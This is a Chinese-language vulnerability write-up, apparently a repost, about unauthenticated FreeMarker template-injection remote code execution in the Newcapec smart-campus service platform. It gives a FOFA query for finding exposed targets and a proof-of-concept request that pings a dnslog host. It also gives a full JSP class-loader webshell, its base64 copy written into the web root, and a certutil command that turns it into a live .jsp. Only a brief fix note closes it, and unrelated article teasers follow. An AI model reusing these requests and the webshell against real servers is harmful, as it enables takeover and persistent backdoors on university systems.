新开普智慧校园系统RCE漏洞复现(0day)

0x01 产品简介

      新开普智慧校园体系基于业务、数据双中台理念,建立共享开放能力平台,实现能力开放和服务与数据的全生命周期治理;基于一云多端,混合云服务模式,覆盖管理、生活、教学、科研和社会化服务全场景,让师生随时随地获得资源和服务;围绕按主题建设,按场景上线,以评促建,可持续发展的路径,渐进建设全业务应用场景,让智慧校园建设更简单。

0x02 漏洞概述

   新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入,攻击者可在未经身份认证的情况下,调用后台接口,构造恶意代码实现远程代码执行,最终可造成服务器失陷(edu刷分神洞)

0x03 影响范围

  掌上校园前置服务管理平台(通用版)

0x04 复现环境

  FOFA:title="掌上校园服务管理平台"

0x05 漏洞复现

http://your-ip/service_transport/service.action

 

 出现以上这种情况则存在漏洞

 PoC

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
}

PS:漏洞没有回显,可通过写文件或dnslog验证

漏洞利用

思路:将马子base64编码,echo将编码后的马子写入txt文件到网站根目录,然后使用certutil命令解码并将txt转换为jsp

实践:

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

写文件 

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
}

文件转换

POST /service_transport/service.action HTTP/1.1
Host: your-ip
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0{"command": "GetFZinfo", "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
}

 尝试连接

 0x06 修复建议

   关闭互联网暴露面或设置接口访问权限

   升级至安全版本

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/13016.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Windows下编译安装VTK

本文旨在记录在Windows下编译安装VTK的流程。 零、环境 操作系统Windows 10编译器Visual Studio 2019 CommunityCMake3.24.2Qt5.14.0 一、下载代码 git clone https://github.com/Kitware/VTK.git cd ./VTK/ git checkout -b v9.0.0 v9.0.0 二、编译安装 Where is the so…

ubuntu修改主机名和用户名

参考文章&#xff1a; https://blog.csdn.net/fkmmmm/article/details/127333212 一、修改主机名 sudo vi /etc/hostname2、 sudo vi /etc/hosts3、 sudo reboot二、修改用户名 1、修改所有原用户名&#xff08;如果文件内没有原用户名则不用改 sudo vi /etc/sudoers 2、 s…

Redis主从哨兵模式

IP 服务 用途 10.0.10.45 redis sentinel zookeeper uniquecode 主redis 10.0.10.43 redis sentinel zookeeper uniquecode 从reids-1 10.0.10.44 redis sentinel zookeeper uniquecode 从redis-2 redis主从哨兵分为两部分&#xff0c;redis主从和redis哨兵 redi…

全景感知—让视图上云更便捷,存储更安全

6月15日&#xff0c;由腾讯云主办的“数实共进产业行浙江站”在杭州圆满开展&#xff0c;活动中腾讯云存储高级产品经理张泽南进行了“全景感知&#xff0c;让视图上云更便捷&#xff0c;存储更安全”主题演讲&#xff0c;与行业伙伴深度交流新一代视图计算解决方案&#xff0c…

在uniapp 小程序 vue中报 错 Cannot read property ‘substring‘ of undefined

是因 是因为对字符串使用substring的时候页面中的数据还没有加载 。 错误代码&#xff1a; 可以使用 v-if 修改为&#xff1a;

文件上传+文件包含组合式getshell

实验目的 通过本实验&#xff0c;了解文件包含的特点&#xff0c;掌握图片马的执行方法&#xff0c;文件上传文件包含组合式getshell。 实验环境 操作机&#xff1a;kali 靶机&#xff1a;Windows 2007 用户名/密码&#xff1a;college/360College 实验地址&#xff1a;http…

链表问题——长整数加法运算题解【双向链表】

长整数加法运算 问题描述 假设2个任意长度的整数x、y分别用链表A和B存储&#xff0c;现要求设计一个算法&#xff0c;实现xy。计算结果存储在链表C中。 说明&#xff1a; 链表A、B、C可以是单向链表或双向链表&#xff0c;但由于A和B输出时需要从头至尾遍历&#xff0c;而做…

Android oss policy上传

OSS Policy方式上传 一、 流程对比1.1 普通上传1.2 服务端签名后直传 二、获取上传的policy签名配置三、请求OSS上传文件四、调用应用服务器接口同步文件五、关于上传OSS报错注意事项六、附送链接 一、 流程对比 1.1 普通上传 缺点&#xff1a; 上传慢&#xff1a;用户数据需…

CVPR 2023 | 掩码图像建模MIM的理解、局限与扩展

编者按&#xff1a;掩码图像建模&#xff08;Masked Image Modeling, MIM&#xff09;的提出&#xff0c;为计算机视觉模型训练引入无监督学习做出了重要贡献。得益于 MIM 的预训练算法&#xff0c;计算机视觉领域在近年来持续输出着优质的研究成果。然而整个业界对 MIM 机制的…

【网络安全带你练爬虫-100练】第5练:爬虫的翻页操作+错误情况过滤

目录 一、翻页分析&#xff1a; 二、代码逻辑 1、入口程序修改 2、page参数传入 三、完整代码 1、运行结果 2、错误分析&#xff1a; 3、缺陷代码&#xff1a; 4、完善逻辑&#xff1a; 5、完善代码&#xff1a; &#xff08;说在前面&#xff0c;任何逻辑都有很多方…

短视频抖音账号矩阵系统源码---功能架构示例1

一、短视频账号矩阵系统源码开发服务器集群化处理开发成本更低&#xff08;前提&#xff09; 什么是集群化处理视频内存内耗&#xff1f;集群化处理视频内存内耗是指通过建立集群系统&#xff0c;将视频处理任务分配给多个计算节点进行并行处理&#xff0c;以减少单个计算节点…

大数据开发环境-Hbase

1.启动之前需要确保hadoop启动 # 查看 Hadoop 是否已经正常启动 : start-all.sh jps 2.启动Hbase